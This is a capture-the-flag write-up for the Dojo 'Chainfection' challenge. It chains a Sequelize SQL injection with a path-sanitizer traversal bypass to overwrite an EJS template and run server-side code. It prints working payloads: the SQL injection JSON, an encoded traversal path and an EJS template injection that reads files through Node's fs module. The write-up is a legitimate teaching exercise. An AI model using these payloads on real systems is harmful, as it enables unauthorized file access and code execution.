Dojo challenge #45 Chainfection solution

October 29, 2025

Article hero image

The Dojo challenge Chainfection tasked participants to exploit two CVE located in the npm packages: sequelize (CVE-2023-25813) and path-sanitizer (CVE-2024-56198). The attacker was able to chain these two CVEs to overwrite a template file to obtain a remote code execution (RCE) on the vulnerable application and capture the flag.

💡 Want to create your own monthly Dojo challenge? Send us a message on X!

The winners

Congrats to Flavius, dev_urandom, vh for the best write-ups 🥳

The swag is on its way! 🎁

Subscribe to our X and/or LinkedIn feeds to be notified of upcoming challenges.

Read on to find out how one of the winners managed to solve the challenge.

Chainfection CTF Challenge – Write-Up & Walkthrough By Flavius

Description

The JavaScript application in question provides users the functionality to upload a JSON file for updating user information. In this specific instance, modifications are restricted solely to the user with the ID number 2. However, the application is compromised by vulnerabilities, SQL Injection and Path Traversal, which will be detailed in this report.

Chaining these vulnerabilities we can bypass the security features in place, execute SQL queries, exploit path traversal and ultimately run arbitrary code on the server side.

The most critical vulnerability identified is SQL Injection. This type of attack can facilitate the unauthorized alteration and retrieval of sensitive data, potentially resulting in data breaches. Moreover, when combined with other vulnerabilities, it poses a significant threat to the integrity and security of the overall system.

Code analysis

To begin our analysis, we will review the complete codebase to gain a comprehensive understanding of the file upload mechanism.
This examination will help us clarify our objectives and examine the possible vulnerable entry point.

Before each request is processed, the following code executes:

  • Writes specific files to the system
  • Initializes a SQLite database (in memory)
  • Inserts two users: "brumens" and "leet"
  • Generates an index.ejs page containing HTML content, which is then returned to the user

By conducting a deeper examination of the code, we can gain a clearer understanding of our objectives. In the initial lines of the script, we can observe the libraries that have been imported:

1const fs = require('node:fs');
2const path = require('node:path');
3const crypto = require('crypto');
4const ejs = require('ejs');
5const process = require('process');
6const {Sequelize, DataTypes, Op, literal} = require_v("sequelize", "6.19.0");
7const psanitize = require_v("path-sanitizer", "2.0.0");

We notice several dependencies, particularly two libraries that may attract your attention due to their specific version requirements for import (we'll analyze them later):

1const {Sequelize, DataTypes, Op, literal} = require_v("sequelize", "6.19.0");
2const psanitize = require_v("path-sanitizer", "2.0.0");

The script proceeds to create several directories and files. Specifically, it generates a folder named view within the /tmp directory, along with two additional folders: user/files.
Within the /tmp directory, a text file is created, prefixed with flag_, which consists of 16 random characters. The content of this file is populated with the flag value. Additionally, in the user/files directory, a text file named document.txt is created with the content set to "test."

1process.chdir("/tmp");
2fs.mkdirSync("view");
3fs.mkdirSync("user/files", { recursive: true });
4
5fs.writeFileSync(`flag_${crypto.randomBytes(16).toString('hex')}.txt`, flag);
6fs.writeFileSync('user/files/document.txt', 'test');

The script then initializes an in-memory database, meaning that the database is recreated for each request. It defines a table called users and a function called init() that contains two queries to insert the previously mentioned two users into the database ("brumens" and "leet").

1// create a sqlite database
2const sequelize = new Sequelize({
3 dialect: "sqlite",
4 storage: ":memory:",
5 logging: false
6});
7
8// define "users" table
9const Users = sequelize.define("User", {
10 name: DataTypes.STRING,
11 verify: DataTypes.BOOLEAN,
12 attachment: DataTypes.STRING,
13});
14
15async function init() {
16 await sequelize.sync();
17 // insert users
18 await Users.create({
19 name: "brumens",
20 verify: true,
21 attachment: "document.txt",
22 });
23 await Users.create({
24 name: "leet",
25 verify: false,
26 attachment: "",
27 });
28}

The script then continues by writing basic HTML content into the /tmp/view/index.ejs file. Due to the length of the content, I have chosen not to display it here; however, it can be summarized as a simple HTML file.

1// Write the design
2fs.writeFileSync('view/index.ejs', `<HTML Content>`.trim())

Finally, the script returns the variables that were created, along with the imported libraries and the defined functions.

1return {flag, secrets, fs, path, psanitize, sequelize, ejs, DataTypes, Op, Users, init}

Next, we examine the script that handles user input. This script sanitizes the input and updates the information for a specified user.

Let's begin with the initial function that parses the incoming JSON object. This function first attempts to deserialize the JSON string into a valid JavaScript object using jsonData = JSON.parse(rawData);. It then verifies whether a key from a predefined list exists within the JSON object before ultimately returning the parsed object.

1function getJsonInput(rawData) {
2 let jsonData;
3
4 // Parse incoming JSON string
5 try {
6 jsonData = JSON.parse(rawData);
7 } catch (err) {
8 throw new Error("Invalid JSON input: " + err.message);
9 }
10
11 // Required keys. The predefined list
12 const requiredKeys = [
13 "username",
14 "updatedat",
15 "attachment",
16 "content"
17 ];
18
19 // Validate presence of keys
20 for (const key of requiredKeys) {
21 if (!(key in jsonData)) {
22 throw new Error(`Missing required key: ${key}`);
23 }
24 }
25
26 // Return the parsed Object
27 return jsonData;
28}

Next, we examine the main() function, which first invokes the imported init() function from the previous analyzed codebase. It processes the incoming request containing <json data>, which must be valid JSON content, as it is parsed by the previously discussed getJsonInput() function. Before parsing, the content is passed to the decodeURIComponent() function to ensure proper decoding of any encoded URI components. Reference .

The script proceeds to update the attachment for the user with ID 2, using data extracted from the parsed JSON object. It then queries the database to select a single user whose updatedat timestamp is greater than or equal to the incoming updatedat value and has the verify flag set to true. Subsequently, the script opens a file using the attachment name specified in the JSON object and writes the content from the JSON object into this file as well.

Finally, the script renders the /tmp/view/index.ejs file to the screen.

1async function main() {
2
3 // Imported init function
4 await init()
5
6 var data = {}
7 var filename = ""
8 var error = ""
9
10 // Update the current user's attachment
11 try {
12 data = getJsonInput(decodeURIComponent("<json data>"))
13 await Users.update(
14 { attachment: data.attachment },
15 {
16 where: {
17 id: 2,
18 },
19 }
20 );
21
22 // Get user from database
23 const user = await Users.findOne({
24 where: {
25 [Op.and]: [
26 sequelize.literal(`strftime('%Y-%m-%d', updatedAt) >= :updatedat`),
27 { name: data.username },
28 { verify: true }
29 ],
30 },
31 replacements: { updatedat: data.updatedat },
32 })
33
34 // Sanitize the attachment file path
35 const file = `/tmp/user/files/${psanitize(user.attachment)}`
36 // Write the attachment content to the sanitized file path
37 fs.writeFileSync(file, data.content)
38
39 } catch (err) {
40 error = err
41 } finally {
42 await sequelize.close();
43 }
44
45 // Render the view
46 console.log(ejs.render(fs.readFileSync('/tmp/view/index.ejs', "utf-8"), { filename: path.basename(filename), error: error }))
47}
48

And finally run the main function.

1// Run the main program
2main()

Conclusion From Code Analysis

From this analysis, we can draw the following conclusions:

  • A SQLite database is created in memory and populated with two user objects:
    • User with ID 1, named "brumens," with the verify flag set to true.
    • User with ID 2, named "leet," with the verify flag set to false.
  • We can send a JSON file to update the user with ID 2 (specifically user "leet," as the ID is hardcoded and cannot be altered).
  • The content is written to the attachment file, which we can control via the input.
  • The /tmp/view/index.ejs file is rendered back to the browser.

Following our initial analysis and identification of potentially vulnerable code blocks, we now proceed to examine the application's behavior with various inputs. We will start with a standard input scenario, demonstrating how the application is intended to function when updating "leet's" account.

1{"username": "brumens", "updatedat": "1970-01-01", "attachment": "documents.txt", "content": "Hello World"}

When we send brumens as the username, the index.ejs file is rendered to the screen without any errors.

When we send leet as the username, an error occurs because the selection process identifies that this user does not have the verify flag set to true. As a result, this leads to an error on the select query.

Affected Code:

1const user = await Users.findOne({
2 where: {
3 [Op.and]: [
4 sequelize.literal(`strftime('%Y-%m-%d', updatedAt) >= :updatedat`),
5 { name: data.username },
6 { verify: true }
7 ],
8 },
9 replacements: { updatedat: data.updatedat },
10 })

Returning to our initial analysis, let's take a closer look at the imported libraries and their specific versions. We can identify that both libraries are susceptible to various exploits, each associated with specific CVE numbers and proofs of concept (PoC).

Affected code:

1const {Sequelize, DataTypes, Op, literal} = require_v("sequelize", "6.19.0");
2const psanitize = require_v("path-sanitizer", "2.0.0");

Public exploits available for these libraries:

  • sequelize - https://github.com/sequelize/sequelize/security/advisories/GHSA-wrh9-cjv3-2hpw
    • Affected by SQL Injection
  • path-sanitizer - https://github.com/advisories/GHSA-94p5-r7cc-3rpr
    • Affected by Path traversal

With all this information, we can outline our objectives for obtaining the flag:

  • Utilize SQL Injection to select the user "leet" (with ID 2) from the database. This is necessary because we will be updating its attachment column, which ensures that the corresponding file is created within the system.
  • Exploit path traversal to write the contents of the flag_<random data>.txt file into the index.ejs file, as this file will be rendered back to the browser.

PoC

For this PoC, we will structure the exploit into three distinct parts:

  • SQL Injection: Exploit the SQL injection vulnerability to manipulate the database query and select the user "leet" (ID 2).
  • Path Traversal: Utilize path traversal techniques to write the content into the index.ejs file.
  • Read the Content of the Flag File: Access and retrieve the content of the flag file via index.ejs (Because of the flag file's random name, we cannot guess it or brute force it).

Looking at the exploit related to SQL Injection we have the following attack scenario:

1{
2 "firstName": "OR true; DROP TABLE users;",
3 "lastName": ":firstName"
4}

Sequelize combined with Where condition translates the final query in two steps:

First Step:

1SELECT * FROM users WHERE "firstName" = :firstName OR "lastName" = ':firstName'

Second Step:

1SELECT * FROM users WHERE "firstName" = 'OR true; DROP TABLE users;' OR "lastName" = ''OR true; DROP TABLE users;''

Appling the same principle to our json file we will have the following:

1{"username": ":updatedat", "updatedat": " or verify = 0); --", "attachment": "document.txt", "content": "Hello World"}

In this scenario, we aim to manipulate the SQL query to select from the database where the username equals an empty string or where the verification flag is set to false, and commenting out the remaining of the query. By doing this, we should successfully select the user "leet" from the database. To provide clarity, let’s translate our attack into the final SQL query:

As illustrated in the screenshot, we have constructed the SQL query as follows: User.name = '' OR verify = 0); --. This formulation closes the parenthesis for the WHERE condition and comments out the remaining of the query. As a result, we can confirm from the screenshot that the user "leet" is successfully selected from the database.

Our next step, and the second phase of this exploit, is to leverage the path traversal vulnerability to write content into the index.ejs file.

First, we'll attempt to write a simple string to the file as we test the path traversal exploit. To bypass the path sanitizer, we will use encoded characters for the slash (/) as described in the proof of concept (PoC) for the exploit: input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt"

Applying this approach to our case we have the following:

  • The path for the index file is /tmp/view/index.ejs.
  • Content is written to: const file = /tmp/user/files/${psanitize(user.attachment)};
  • To access the /tmp/view directory from the user/files directory, we need to navigate back two folders.

1{"username": ":updatedat", "updatedat": " or verify = 0); --", "attachment": "..=%5c..=%5cview/index.ejs", "content": "Hello World"}

As anticipated, we have successfully written the string "Hello World" into the index file:

As the final step of our exploit, we need to read the content of the flag file using index.ejs and render it back to the browser.

We know that ejs files are shorthand for Embedded JavaScript, which allows us to execute JavaScript functions. To read a file in JavaScript (using Node.js), we utilize the fs (filesystem) module. However, it's important to note that this module is not directly available in ejs files, as it is specific to Node.js and is not natively supported in a web browser.

To read the content of the flag file and display it in the browser, the following code has been utilized:

1<%- this.Function('return process.mainModule.require(\"fs\").readFileSync(\"/tmp/\"+process.mainModule.require(\"fs\").readdirSync(\"/tmp\").find(f=>f.startsWith(\"flag_\")),\"utf8\")')() %>

Let’s break it down and discuss the code in detail:

  • <%- %> : Means that the content should be evaluated as JavaScript code
  • this.Function():
    • In JavaScript, this.Function() refers to the Function constructor, which is a built-in global function that creates new Function objects. It allows you to define new functions dynamically at runtime. Reference
  • 'return process.mainModule.require(\"fs\").readFileSync(...)':
    • This string is passed to the Function constructor, which creates a new function that, when invoked, returns the result of the readFileSync function. Inside the string, the usage of process.mainModule.require("fs") loads the Node.js fs module. Reference
  • ("/tmp/" + process.mainModule.require(\"fs\").readdirSync(\"/tmp\").find(f => f.startsWith(\"flag_\")):
    • The code constructs a file path by concatenating "/tmp/" with the name of a file from the /tmp directory.
    • Read the /tmp and then .find(f => f.startsWith("flag_")) filters through list to find the first file whose name starts with "flag_".
  • Finally as a simplified version we have .readFileSync("/tmp/" + <flag_file>, "utf8"):
    • Read the content of the flag file
  • ()
    • The parenthesis at the end are used to immediately invoke the function

Finally we have the following PoC to read the flag:

1{"username": ":updatedat", "updatedat": " or verify = 0); --", "attachment": "..=%5c..=%5cview/index.ejs", "content": "<%- this.Function('return process.mainModule.require(\"fs\").readFileSync(\"/tmp/\"+process.mainModule.require(\"fs\").readdirSync(\"/tmp\").find(f=>f.startsWith(\"flag_\")),\"utf8\")')() %>"}

The flag obtained from the UI is:

FLAG{Bug_C4ins_Br1ng5_Th3_B3st_Imp4ct}

Risk

These vulnerabilities present a significant risk, as they allow an attacker to read from and write arbitrary files on the system. Furthermore, they enable the execution of SQL queries against the database, which could potentially result in a data breach.

Remediation

Utilizing up-to-date libraries is essential to avoid known exploits and mitigate the risks of data breaches. Additionally, conducting regular security audits will help identify and address such vulnerabilities early on.